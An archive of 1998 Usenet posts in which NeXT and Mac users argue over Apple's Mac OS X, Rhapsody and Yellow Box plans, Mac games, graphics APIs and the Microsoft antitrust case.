Message-ID: <*johnnyc*-1406980722450001@jchristie.halifaxcable.dal.ca>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tbrown-0806982356060001@mv172.axom.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com> <6lp2q3$cvi$2@news02.btx.dtag.de> <tbrown-1106981928040001@mv099.axom.com>
In article <tbrown-1106981928040001@mv099.axom.com>, tbrown@netset.com
(Ted Brown) wrote:
> I'm not against Carbonizing the Finder, it's a good test of Carbon. I am
> against _planning_ to use it as the Finder for Mac OS X (I really don't
> know if this is true, but it's being talked about that way here).
Apple hasn't stated (and never did) how they would implement the Finder
in OS X. The closest they have gotten to that is stating that they would
start using more of their own "great" technologies. Take that for what it
is worth.
> The Yellow Finder _won't_ have to be written from scratch -- there was one
> scheduled for release in Rhapsody CR1, how does it behave in DR2?
No, actually there was never any commitment to make the Finder Yellow.
It was to run on Rhapsody. Apple could have attempted to program it
through the cross platform QTML code and add a "few" things. Perhaps this
is one of the reasons we have Carbon in the first place.
> I've mentioned it before, maybe half of my problem is that no one's said
> "Boy that Finder substitute in Rhapsody DR2 _really_ sucks, I can't
> believe they'd ship that thing". So those in the 'know' (ie have
> used/seen Rhapsody DR2), how is it?
It seems like a hybrid between Mac and NeXT technologies (more NeXT
than Mac IMO). However, it is unclear whether it was BUILT as a hybrid
between Apple and NeXT technologies or just NeXT technologies. Moving
around in the interface is very much Mac like in that you can look in your
drives and menuing looks similar. However, the NeXT browser is still
prevalent for launching apps.
> I really just want to know "Is Apple going to orphan Yellow like the long
> list of other 'great' technologies"? I'm not going to forgive them if
> they kill OPENSTEP, I was looking forward to _enjoying_ programming again,
> I'm just too lazy to program for the MacOS.
You really have to look at personalities here and not Apple as a
company. Most of the recently orphaned technologies stem from the current
leads of Apple openly despising them in the first place. At best they had
no investment. The current management has tremendous ego involvement in
YB and will see it come to light.
But, if management changes ...
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 14 Jun 1998 11:00:43 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6m0agr$3mq$1@supernews.com>
References: <6lvsob$ni$1@supernews.com>
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Cc: kari@gti.net
Kari L Beischer may or may not have said:
-> Maybe Don Crabb knows something we don't, then again maybe not:
->
-> http://www.maccentral.com/features/crabbsapple.shtml
->
->
-> When answering a question as to why MacOSX can't be a server OS he
-> does a vague buzz word dance of why it won't fit the bill. As far
-> as I understand it, he's quite wrong.
That's why he's a columnist, and not an engineer. It's apparently an
occupational requirement for a computer industry pundit to be clueless.
-jcr
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: [Q] file systems
Message-ID: <1998061411190500.HAA16492@ladder01.news.aol.com>
Date: 14 Jun 1998 11:19:05 GMT
Organization: AOL http://www.aol.com
The question of the day is file systems:
What is the native file system used by NeXT/NeXTSTEP/OpenStep/Rhapsody?
What file systems can NeXT/NeXTSTEP/OpenStep/Rhapsody READ natively?
Through 3rd party software that runs on NeXT/NeXTSTEP/OpenStep/Rhapsody?
What file systems can NeXT/NeXTSTEP/OpenStep/Rhapsody write natively?
Through 3rd party software that runs on NeXT/NeXTSTEP/OpenStep/Rhapsody?
The answers for many different OSs will be charted at
<http://msem26.eng.ohio-state.edu/os/holistic/connect/connect.htm>.
Thanks....
--MerefBast@aol.com
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Message-ID: <1998061411214000.HAA12533@ladder03.news.aol.com>
Date: 14 Jun 1998 11:21:40 GMT
Organization: AOL http://www.aol.com
References: <6lvsob$ni$1@supernews.com>
Kari L Beischer <kari@gti.net> WROTE:
<<<When answering a question as to why MacOSX can't be a server OS he
does a vague buzz word dance of why it won't fit the bill. As far
as I understand it, he's quite wrong. MacOSX is Rhapsody 2.0.
It's core OS is the same and ought to be able to have all the unix
goodies tossed in. Scaling has nothing to do with AppleShare junk,
but the core, no? The bottom line is that MacOSX is Rhapsody, plus
the extra carbon libraries for transparent compatibility and now
DPS will be PDF'd. That seems to change little to nothing of the
OS's server abilities. Then again, maybe I'm missing something
very basic here?>>>
My understanding (subject to error because of all the confusion over Apple's
changing plans) is that Mac OS X will be missing WebObjects and EOF, two
essential elements to a server OS.....
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 14 Jun 1998 10:50:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6m09ua$eu4$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca> <rmcassid-1006981118370001@dante.eng.uci.edu> <*johnnyc*-1306981612300001@jchristie.halifaxcable.dal.ca> <6lv2fo$jjf$1@nnrp1.dejanews.com> <*johnnyc*-1306982159170001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-1306982159170001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> Apple has been known to abandon good technology. Jobs has not been
> known to abandond his pet projects. Unless there is a terribly dire need
> to get rid of them Jobs will hold onto his pet project no matter what. YB
> is a pet project of his and he has previously stated that he thinks it is
> great technology. Therefore, wherever you find Jobs you will probably
> find this technology. You have to look at the people making the decisions
> as well as the company.
Jobs has already stopped comitting to Rhapsody beyond 1.0. Presumably, Job's
thinks that Rhapsody is great technology. But it is now cancelled. Arguable,
it is not necessary on Mac hardware but what about PC hardware? Also,
consider that Apple CEOs don't necessarily stick around for a long time.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
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M/@T*(" @/$U%5$$@3D%-13TB075T:&]R(B!#3TY414Y4/2)2:6-H(CX-"B @
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From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 Jun 1998 13:43:59 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6m0k2v$ka6$1@news.cs.tu-berlin.de>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu
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*johnnyc*@or.psychology.dal.ca (John Christie) writes:
[lots of stuff deleted, but this I have to comment on]
> We are interested in both. I would love to be able to do real object
>programming. However, I cannot find ObjC programmers and Java is too
>immature as an environment. YB with Java as the language is very
>appealing (and the Java environment would be there too).
What's this with not being able to find 'ObjC programmers'?
If they're good object-oriented programmers, Objective-C will present
them with zero difficulties, even if they have never heard of it.
If they're they aren't good object oriented programmers, your project
will be facing problems no matter what the language.
Marcel
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 14 Jun 1998 06:51:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6m0kg4$khs@nntp02.primenet.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com>
Nathan Urban <nurban@vt.edu> wrote:
: In <6lsf8c$6bc@nntp02.primenet.com>, John Jensen <jjens@primenet.com> wrote:
: > It's like an Apple spokesman is at the front of the room with a white
: > cardboard box labeled "MacOS X". He says "Rhapsody is dead, but this box
: > contians the same core technology as Rhapsody". In the back of the room
: > you turn to me and say "Ahh, MacOS is Rhapsody".
: Please explain just how MacOS X is _not_ Rhapsody in any important way.
The box has not been filled, Nathan. Arguing what it "is _not_" is just
as pointless as arguing what it "is". We are hearing from constituencies
at Apple about what they want in the box, and we are hearing from
advocates about what they want in the box. That should be meaningless to
anyone who has been through the Apple OS cycle.
I accept that Apple is building a new OS with bits and peices from
Rhapsody and MacOS, but to think that future OS "is" anything in
particular is utterly absurd.
Show me the software, on an end-user machine, and I'll talk about what Mac
OS X "is". Until then, it is what MacOS X "could be".
John
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 14:42:01 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3583E139.4281F630@nstar.net>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <35e138b6.262092222@news.supernews.com> <35836C7C.DFFCE2B1@nstar.net> <35838E6D.3368@prodigy.net>
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NNTP-Posting-Date: 14 Jun 1998 14:46:59 GMT
dnpibel wrote:
>
> Michael J. Peck wrote:
>
> > eiogetical
>
> Is this supposed to be "eisegetical"? "Eiogetical" didn't make it into
> the Random House Unabridged. Honest question. You made me open my
> dictionary.
Absolutely, you're quite right. Wow, I feel stupid.
> Really? Isn't Micros**t's entry into the browser market an example of
> the untruth of that proposition? Vide:
>
> Netscape cannot bring to bear on Micros**t the advantage of tying its
> browser to a pre-existing OS base. It is a literal impossibility. The
> only out I can see for you is to declare that Micros**t's tying is not a
> market force. If it is not, what is it?
Tying isn't a market force. It's a product marketing gimmick or a
technological solution, or both, depending on how you look at it. It's
mostly based on intent, I imagine, so maybe it doesn't matter how we
look at it.
> Also, what about the concept of giving away the product? A large company
> may have sufficient capital to give away its product (see, e.g., IE). A
> small shop does not have the ability to bring that force to bear upon
> its large competitor.
Not true. Netscape gave away its browser from the beginning, charging
only later. The academic versions were always free. What's more,
Netscape claimed that most people didn't pay for the browser, anyway,
since it was so easy to download without restriction. Netscape used to
boast that it made money on the browser because of corporate contracts,
many of which (it said) were signed because of the compatibility of
client/server between Navigator and Netscape's Web servers. Thus, in a
loose sense, Netscape itself could be accused of "tying". At any rate,
precisely the same market forces affected Netscape as affect Microsoft
today; hence, the similar patterns of behavior.
> I realize that Netscape is now giving away its
> browser. It remains to be seen whether Netscape remains a viable entity;
> it's clear that, if it does, it will not be because of its browser. For
> those of you (and I do not recall if Mr. Peck is included in this group)
> who contiuously crow, "But Netscape's still in *business*," they are not
> anymore in the business of making money by selling their browser.
I cannot say for sure, but I do not believe that Netscape has ever
turned a profit from sales of its browser.
> This
> seems to me another example of a market force which will not "come to
> bear upon larger companies." Please let me know what I'm missing here.
Simple: the browser was a loss-leader for selling an IPO, important
marketing contracts, and most of all, Web servers and intranet
solutions.
> The latter example seems to me particularly troubling for an Austrian
> economist, who assumes the existence of profit-making opportunities,
> which will be pounced upon by entrepreneurs, the engine driving the
> discovery process of the free market.
Quite so. The browser market, from the start, was free or nearly-free
software, from the advent of the Web to the current day. The
profit-making opportunities were never in sales of a trivial piece of
software so simple that a college student can single-handedly write one
in one semester with off-the-shelf software parts. The profit-making
opportunities have always been in auxiliary markets: operating systems,
network solutions, advertising, e-commerce, etc. If browsers actually
*are* the issue, why does the DoJ case spend so much effort claiming
that the browser issue is supposed to bring people to Windows, and not
that Windows is supposed to bring people to Microsoft's browser?
> If one market player makes its
> business of removing those profit-making opportunities (how, pray tell,
> do you offer a better deal than a free browser? A better browser might
> do it, but for the fact that you have to be prepared to give it away,
> which offers very little incentive for the profit-seeking entrepreneur),
> then how is the discovery process going to work? What's to discover, if
> the price is zero?
Integration. This has been the key concept since late 1994 in large
networks; it's hard to miss. Netscape took the intranet route, hoping
its browser could move forward at a leisurely pace because Netscape was
working so hard on the server-end. Microsoft took the client route,
moving to a version 4.0 browser at blinding speed and with brilliant
execution.
Now we see that the client-based strategy happens to be more successful
at this particular point in time, but we'd like to punish the
entrepreneurs who figured it out. Never mind that tomorrow may reverse
the fortunes of Microsoft on a less fortunate venture; success no longer
breeds success, it breeds regulation.
> Of course, we don't believe that the true price of IE will remain at
> zero, do we? Micros**t, wouldn't you think, will recapture that cost
> either with an unnecessary "upgrade" or through money made through
> control of access to the internet.
Pure conjecture, and foolish, at that. How, exactly, will Microsoft
"control" access to the Internet? With a satellite network? Please.
> Why can Micros**t do this? Precisely because it can bring to bear on its
> competitors market forces which the competitors cannot reciprocate.
They absolutely can. In every market to which Microsoft brings its
weight, there are competitors of equal or greater size and influence. Is
this unfair to Microsoft?
> I guess there's one more way to make sense of what you say: If by saying
> "will come to bear," you mean to indicate that, left to its own devices,
> the market will finally sort it all out. As in, someday, somebody's
> bound to come up with such a killer app that people will pay money for
> it, even if Micros**t's giving its product away. If that is what you
> mean, then I believe that your optimism is every bit as ethereal as the
> catastrophism of which people supporting the DOJ suit are accused.
You need to explain this statement. I won't try to guess your meaning.
MJP
Message-ID: <3585335A.8E6F1978@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <sam-1506981534110001@203.21.125.60>
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Date: Mon, 15 Jun 1998 14:40:50 GMT
NNTP-Posting-Date: Mon, 15 Jun 1998 14:40:50 GMT
Organization: MCI2000
Sam Vaughan wrote:
>
> It wouldn't be hard to pick out two dozen of these that have had best
> selling games. Then there are the companies that exploded onto the scene
> in the 18 months since this list was compiled...
>
The Apple list is, of course, a PR gimmick and woefully out of date. But
more to the point, we weren't talking about "possible present and past
developers" we were talking about game *titles*. That's where you
separate the men from the boys...It's easy to list a company that sends
you a letter or pays a fee to be an "official Apple developer"--much
more difficult to list the same number of titles that come anywhere
close to being congruent with state-of-the-art gaming as it's known
throughout the industry. That's the hard part--yet the only meaningful
part.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Games and the consumer market.
Date: 14 Jun 1998 14:54:16 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o7p0o.sk2.sal@panix3.panix.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com>
On Sun, 14 Jun 1998 02:13:15 -0500, John Doherty <jdoherty@ix.netcom.com> wrote:
>Do you think Apple should stake their future on people who use computers
>to play games? I don't.
I do. If Apple is going to make any serious in roads into the consumer market,
they are going to have to do something to promote the Mac as a game platform.
The iMac is a nice start. Couple it with a half dozen new Mac game houses and
you have a real consumer product.
>Do you think discussing games has any relevance here? I don't.
I do. And I think Steve Jobs would agree. He has talked about the need to
get more games on the Mac at both Macworld and at the WWDC. He even went to
E3 to lobby for Mac games.
--
sal@panix.com
Salvatore Denaro
From: glenn-REMOVE@arsoft-REMOVE.com (Glenn Reid)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sun, 14 Jun 1998 12:06:53 -0700
Organization: Artifex Software
Message-ID: <glenn-REMOVE-1406981206530001@rtbrain.vip.best.com>
References: <slrn6nqsvm.ntc.ben@ben.tapehouse.net> <B1A2FE3D-A87E5@206.165.43.79> <6lkh74$m9t$2@ironhorse.plsys.co.uk>
I was just looking for some tech answers in the newsgroups, but
couldn't help looking at a thread that had 99 followups. A sure
flame-fest. What could be so controversial?
Now I see: "mine is better than yours."
Well, I've done a lot of both. I was a NeXT third-party developer and
built a page layout application (PasteUp). Lots of in-depth knowledge
of NeXTSTEP.
I've also spent many years programming the Mac and overseeing development
at big companies (Adobe, Fractal, etc).
Here's what I think, in no particular order:
* CodeWarrior beats the pants off the NeXTSTEP development
environment. Not even a contest. It's faster, cleaner, the
debugger is better; everything is great about it. If you've
never used it, switch over to it immediately. I am not a
stockholder :-)
* NeXTSTEP's toolbox/API is much more mature than Apple's in some
notable areas (user interfaces, etc: take a look at ResEdit and
the Dialog Manager and prepare to be disgusted).
* InterfaceBuilder and the late binding of Objective C is light
years ahead of Apple's interface strategy.
* Display PostScript is great. GX is great, too, but not very
well integrated or supported.
* The MacOS file system API should be taken out and shot.
* NeXTSTEP is a real operating system, which has certain advantages.
* NeXTSTEP's concept of "file packages" is a great idea and should
be absorbed immediately by others.
* When I left the NeXT community and went to program Macs, I
braced myself for disappointment (I had done Mac stuff back
in 85/86 but figured it hadn't improved much). It was no big
deal. I was able to get real work done immediately, and I
grew to like many things about the Mac environment better than
NeXTSTEP. If nothing else, the slowness of UNIX linkers is
enough reason to switch. Sl-o-o-o-o-o-o-w, and you can't make
even a very small change without linking.
* Most of the "arrogant NeXT people" are actually "ignorant NeXT
people". Disregard what anyone says who has not used both
extensively. Many NeXT people have never programmed Macs and
don't know what the good points are.
* There's no point in arguing about all this stuff.
Glenn Reid
RightBrain Software
--
Glenn Reid
http://www.rightbrain.com
glennXX@rightbrainXX.com (remove the XX's when sending mail)
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 14 Jun 1998 21:46:28 GMT
Organization: P & L Systems
Message-ID: <6m1gbk$ndd$8@ironhorse.plsys.co.uk>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23>
<jdoherty-1406980213150001@san-tx3-06.ix.netcom.com>
Mime-Version: 1.0
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Cc: jdoherty@ix.netcom.com
In <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> John Doherty wrote:
> In article <B1A80B74-46BBE@206.165.43.23>, "Lawson English"
> <english@primenet.com> wrote:
>
> | WHAT? The largest-growing segment of the computer industry is the home
> | market, where the availability of games is all-important. Mind you,
> | this has very little to do with GX
>
> You can worry about games if you want, but as you point out, games have
> nothing to do with this discussion.
>
I'd agree with you (both) that games probably have little to do with this
discussion, however, much though I'd rather not, I'd have to agree with
Lawson that the availability of games is important. To elaborate, I'm not
reluctant to agree with Lawson per se, but rather with the premise that games
are important. *I* don't like computer games, in general *I* think they're a
waste of time, however I recognise that a large proportion of the
*marketplace* has a different view. And this is a profitable part of the
market.
What would be very useful would be a means of creating games on Macintosh
"5-10 times quicker than using traditional methods"... a combination of QTML
and YellowBox could provide just that...
Best wishes,
mmalc.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 15 Jun 1998 00:34:43 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35846C23.CD3BAFC9@nstar.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
<tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
<357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
<6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net>
<3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM>
<35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net>
<6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net>
<6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net>
<6ls4hn$ga6@yuma.ACNS.ColoState.EDU> <3581A52E.9FD3DB3C@nstar.net> <6m1m3g$2cms@yuma.ACNS.ColoState.EDU>
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NNTP-Posting-Date: 15 Jun 1998 00:39:52 GMT
Larry Pyeatt wrote:
[cut]
> >> COERCE suggests overcoming resistance or unwillingness by actual or
> >> threatened violence or pressure;
> >
> > Slippery! Why not stick to the definition, rather than resorting to what
> > it "suggests"?
>
> Actually, that IS part of the definition. Not so slippery after all.
Sorry, Larry. COERCE is a synonym, not part of the definition. When
dictionaries put that word in all caps after a colon, it means "possible
synonym: ". The extent to which the synonym fails to accurately describe
the definition of "force" must be judged from its own definition:
coerce \Co*erce"\, v. t. [imp. & p. p. {coerced}; p. pr. & vb.
n. {Coercing}.] [L. co["e]rcere; co- + arcere to shut up, to
press together. See {Ark}.]
1. To restrain by force, especially by law or authority; to
repress; to curb. --Burke.
"Coerce" seems to have even stronger implications of law/authority than
does force. Therefore, to say that Microsoft "coerces" OEMs is even less
true than to say that it "forces" them.
> > Ah, yes, it coerces. It doesn't force.
>
> Coerce is one definition for force. See above.
Wrong. See above.
> So, to re-phrase: "MS monopoly in the OS arena allows them to FORCE
> the OEMs into only supporting MS products, thereby suppressing the
> opposition.
Wrong. To re-phrase, wrong.
> Perhaps you would be so kind as to explain how. "Centralized
> government" I do believe, but not "centralized autocratic government".
> There is a difference.
It's a matter of degree. The degree to which abuses of the Constitution
are eroding the restraint of the Federal government is highly
disturbing. It is *increasing* in autocracy.
> > So what?
>
> So I take it that you are now rescinding your earlier claim that
> Microsoft is not a "centralized autocratic government".
I am not. Your explicit claim is that _Bill Gates_ is a centralized
(obvious) autocratic (true) governor (in the context of Microsoft
alone). That is *not* the same as claiming that Microsoft is a
centralized (obvious) autocratic (untrue) government (in the context of
the industry), which is patently untrue.
> > Cute, Larry. You've quite simply blown all of your credibility. The
> > context was quite clearly the computer industry; attempting to turn your
> > misstatement with new context (that of Microsoft the Company,
> > inscrutably) is a weak ploy.
>
> So, step one accomplished. MS is a "centralized autocratic government".
> internally. Now to show that they are a "centralized autocratic government"
> with respect to the computer industry. (or at least to the part of it
> that they control.
[laugh] Take it slow, Lar.
[cut]
> > You already granted the first definition. Closed.
>
> Very well, then I will take issue with your first definition.
> It is not complete.
It's complete enough for a full definition in Webster's dictionary.
Argue with Noah.
> No matter how much you wish for Janet Reno to be a dictator,
> it simply is not true. She directs the activities of the
> people within the DOJ, but she hardly has dictatorial control
> in the sense that you seem to think she does.
>
> So tell us. Exactly how is Janet Reno a dictator?
>
> >> No one can fire MS.
> >
> > Its customers can. Welcome to the free market.
>
> YES!!! Perhaps you are right. The first step of that process is to
> have the government find out whether MS has been abusing its monopoly
> status. The mechanism set up for that purpose is now doing its job.
> What are you complaining about?
>
> >> Yes. MS tell OEMs who they can socialize with. They are not allowed
> >> to socialize with vendors of competing operating systems.
> >> If they do,
> >> MS can discipline them by refusing to give them a license. No company
> >> is going to risk the 95% market share for MS products just to tap the
> >> extra 5% market in other operating systems.
> >
> > So...you're saying the OEMs choose the greater good/greater value
> > themselves?
>
> No. I am saying that they are being forced to make a decision
> when there is no economic reason why they should have to, and
> in fact, that decision causes them to neglect smaller, yet
> viable markets.
>
> > How does Microsoft coercion figure into this, Larry?
>
> Re-read the previous paragraph. What word are you having trouble with?
Uh, coerce. I've already posted the definition. Explain how "refusing to
grant a license" fits the definition.
MJP
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 Jun 1998 01:31:41 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o8ubu.1jv.sal@panix3.panix.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca> <rmcassid-1006981118370001@dante.eng.uci.edu> <*johnnyc*-1306981612300001@jchristie.halifaxcable.dal.ca> <6lv2fo$jjf$1@nnrp1.dejanews.com> <*johnnyc*-1306982159170001@jchristie.halifaxcable.dal.ca> <6m09ua$eu4$1@nnrp1.dejanews.com> <pulsar-ya02408000R1406981236390001@news-proxy.cso.uiuc.edu> <6m1i1r$anb$1@nnrp1.dejanews.com>
On Sun, 14 Jun 1998 22:15:21 GMT, quinlan@intergate.bc.ca <quinlan@intergate.bc.ca> wrote:
>MacOS X will only run on Apple hardware (unless something changes) so Apple
>has killed Rhapsody as a cross-platform technology.
YB will still be on Windows past Rhapsody CR1. They wouldn't have to move
away from DPS if they planned on killing YB on Windows.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 15 Jun 1998 01:28:10 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o8u5a.1jv.sal@panix3.panix.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net> <edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com> <6lqa8p$m6c$2@news.xmission.com> <6m0rce$ndd$3@ironhorse.plsys.co.uk>
On 14 Jun 1998 15:48:30 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>I agree with Scott's critique, though, and Salvatore's comment on the
>gaudiness of the Rock City cube. On the other hand, what might be cool would
>be a "cube" with real Gaudi'-ness, although I'm sure it wouldn't be cubic...
What about a Dali-esque half melted cube? Or a Frank Loyd Wright "falling-water"
style cantilever cube? (Cube on a stick with a desk lamp on the other end) Or
a Monty Python "giant foot" computer, with the big toe working as the power
switch?
The possibilities are endless. Good taste is still finite though... :)
--
sal@panix.com
Salvatore Denaro
From: "Chris Van Buskirk" <cvbuskirk@home.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
